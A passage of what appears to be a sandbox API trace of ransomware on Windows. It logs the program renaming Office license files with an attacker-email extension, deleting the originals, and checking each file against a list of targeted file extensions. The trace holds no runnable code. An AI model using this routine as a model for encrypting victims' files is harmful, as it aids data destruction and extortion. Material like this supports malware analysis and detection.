hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.408] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0199.409] GetLastError () returned 0x0 [0199.409] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0199.412] WriteFile (in: hFile=0x568, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0199.413] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.413] WriteFile (in: hFile=0x568, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10e, lpOverlapped=0x0) returned 1 [0199.413] SetEndOfFile (hFile=0x568) returned 1 [0199.414] CloseHandle (hObject=0x568) returned 1 [0199.414] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.414] SetEndOfFile (hFile=0x3e8) returned 1 [0199.417] CloseHandle (hObject=0x3e8) returned 1 [0199.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 1 [0199.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0199.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0199.419] lstrlenW (lpString=".doc") returned 4 [0199.419] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.419] lstrlenW (lpString=".docx") returned 5 [0199.419] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.419] lstrlenW (lpString=".pdf") returned 4 [0199.419] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.419] lstrlenW (lpString=".xls") returned 4 [0199.419] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.419] lstrlenW (lpString=".xlsx") returned 5 [0199.419] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.419] lstrlenW (lpString=".ppt") returned 4 [0199.419] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0199.419] lstrlenW (lpString=".zip") returned 4 [0199.419] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.419] lstrlenW (lpString=".rar") returned 4 [0199.548] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.548] lstrlenW (lpString=".bz2") returned 4 [0199.548] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.548] lstrlenW (lpString=".7z") returned 3 [0199.548] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0199.548] lstrlenW (lpString=".dbf") returned 4 [0199.548] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0199.548] lstrlenW (lpString=".1cd") returned 4 [0199.548] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0199.548] lstrlenW (lpString=".jpg") returned 4 [0199.548] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0199.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0199.548] lstrlenW (lpString=".doc") returned 4 [0199.548] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.548] lstrlenW (lpString=".docx") returned 5 [0199.549] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.549] lstrlenW (lpString=".pdf") returned 4 [0199.549] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.549] lstrlenW (lpString=".xls") returned 4 [0199.549] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.549] lstrlenW (lpString=".xlsx") returned 5 [0199.549] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.549] lstrlenW (lpString=".ppt") returned 4 [0199.549] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0199.549] lstrlenW (lpString=".zip") returned 4 [0199.549] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.549] lstrlenW (lpString=".rar") returned 4 [0199.549] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.549] lstrlenW (lpString=".bz2") returned 4 [0199.549] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.549] lstrlenW (lpString=".7z") returned 3 [0199.549] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0199.549] lstrlenW (lpString=".dbf") returned 4 [0199.549] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0199.549] lstrlenW (lpString=".1cd") returned 4 [0199.549] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0199.549] lstrlenW (lpString=".jpg") returned 4 [0199.549] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.582] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.582] lstrlenW (lpString="MondoR_BypassTrial180-ul-oob.xrm-ms") returned 35 [0199.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0199.594] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11623) returned 1 [0199.595] CloseHandle (hObject=0x550) returned 1 [0199.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0199.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0199.596] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.596] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.597] GetLastError () returned 0x0 [0199.597] ReadFile (in: hFile=0x550, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d67, lpOverlapped=0x0) returned 1 [0199.599] WriteFile (in: hFile=0x548, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0199.601] ReadFile (in: hFile=0x550, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.601] WriteFile (in: hFile=0x548, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11a, lpOverlapped=0x0) returned 1 [0199.601] SetEndOfFile (hFile=0x548) returned 1 [0199.601] CloseHandle (hObject=0x548) returned 1 [0199.601] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.602] SetEndOfFile (hFile=0x550) returned 1 [0199.605] CloseHandle (hObject=0x550) returned 1 [0199.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0199.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0199.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0199.606] lstrlenW (lpString=".doc") returned 4 [0199.606] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.606] lstrlenW (lpString=".docx") returned 5 [0199.607] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.607] lstrlenW (lpString=".pdf") returned 4 [0199.607] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.607] lstrlenW (lpString=".xls") returned 4 [0199.607] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.607] lstrlenW (lpString=".xlsx") returned 5 [0199.607] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.607] lstrlenW (lpString=".ppt") returned 4 [0199.607] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0199.607] lstrlenW (lpString=".zip") returned 4 [0199.607] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.607] lstrlenW (lpString=".rar") returned 4 [0199.608] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.608] lstrlenW (lpString=".bz2") returned 4 [0199.608] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.608] lstrlenW (lpString=".7z") returned 3 [0199.608] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0199.608] lstrlenW (lpString=".dbf") returned 4 [0199.608] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0199.608] lstrlenW (lpString=".1cd") returned 4 [0199.608] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0199.608] lstrlenW (lpString=".jpg") returned 4 [0199.608] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0199.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0199.608] lstrlenW (lpString=".doc") returned 4 [0199.608] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.608] lstrlenW (lpString=".docx") returned 5 [0199.608] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.608] lstrlenW (lpString=".pdf") returned 4 [0199.608] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.608] lstrlenW (lpString=".xls") returned 4 [0199.608] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.608] lstrlenW (lpString=".xlsx") returned 5 [0199.608] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.609] lstrlenW (lpString=".ppt") returned 4 [0199.609] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0199.609] lstrlenW (lpString=".zip") returned 4 [0199.609] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.609] lstrlenW (lpString=".rar") returned 4 [0199.609] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.609] lstrlenW (lpString=".bz2") returned 4 [0199.609] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.609] lstrlenW (lpString=".7z") returned 3 [0199.609] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0199.609] lstrlenW (lpString=".dbf") returned 4 [0199.609] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0199.609] lstrlenW (lpString=".1cd") returned 4 [0199.609] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0199.609] lstrlenW (lpString=".jpg") returned 4 [0199.609] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.609] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.609] lstrlenW (lpString="MondoR_KMS_Automation-ppd.xrm-ms") returned 32 [0199.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0199.610] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=12416) returned 1 [0199.610] CloseHandle (hObject=0x550) returned 1 [0199.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 0x220 [0199.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0199.611] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.611] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.612] GetLastError () returned 0x0 [0199.612] ReadFile (in: hFile=0x550, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x3080, lpOverlapped=0x0) returned 1 [0199.614] WriteFile (in: hFile=0x548, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x3090, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x3090, lpOverlapped=0x0) returned 1 [0199.616] ReadFile (in: hFile=0x550, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.616] WriteFile (in: hFile=0x548, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x114, lpOverlapped=0x0) returned 1 [0199.616] SetEndOfFile (hFile=0x548) returned 1 [0199.616] CloseHandle (hObject=0x548) returned 1 [0199.630] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.630] SetEndOfFile (hFile=0x550) returned 1 [0199.841] CloseHandle (hObject=0x550) returned 1 [0199.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.842] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 1 [0199.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0199.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0199.843] lstrlenW (lpString=".doc") returned 4 [0199.843] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.843] lstrlenW (lpString=".docx") returned 5 [0199.843] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.843] lstrlenW (lpString=".pdf") returned 4 [0199.843] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.843] lstrlenW (lpString=".xls") returned 4 [0199.843] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.843] lstrlenW (lpString=".xlsx") returned 5 [0199.843] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.843] lstrlenW (lpString=".ppt") returned 4 [0199.843] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0199.843] lstrlenW (lpString=".zip") returned 4 [0199.843] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.843] lstrlenW (lpString=".rar") returned 4 [0199.843] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.843] lstrlenW (lpString=".bz2") returned 4 [0199.843] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.843] lstrlenW (lpString=".7z") returned 3 [0199.843] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0199.843] lstrlenW (lpString=".dbf") returned 4 [0199.844] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0199.844] lstrlenW (lpString=".1cd") returned 4 [0199.844] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0199.844] lstrlenW (lpString=".jpg") returned 4 [0199.844] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0199.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0199.844] lstrlenW (lpString=".doc") returned 4 [0199.844] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.844] lstrlenW (lpString=".docx") returned 5 [0199.844] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.844] lstrlenW (lpString=".pdf") returned 4 [0199.844] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.844] lstrlenW (lpString=".xls") returned 4 [0199.844] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.844] lstrlenW (lpString=".xlsx") returned 5 [0199.844] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.844] lstrlenW (lpString=".ppt") returned 4 [0199.844] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0199.844] lstrlenW (lpString=".zip") returned 4 [0199.844] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.844] lstrlenW (lpString=".rar") returned 4 [0199.845] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.845] lstrlenW (lpString=".bz2") returned 4 [0199.845] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.845] lstrlenW (lpString=".7z") returned 3 [0199.845] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0199.845] lstrlenW (lpString=".dbf") returned 4 [0199.845] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0199.845] lstrlenW (lpString=".1cd") returned 4 [0199.845] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0199.845] lstrlenW (lpString=".jpg") returned 4 [0199.845] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.845] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.845] lstrlenW (lpString="MondoR_OEM_Perp-ul-oob.xrm-ms") returned 29 [0199.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0199.846] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11582) returned 1 [0199.846] CloseHandle (hObject=0x550) returned 1 [0199.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0199.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft 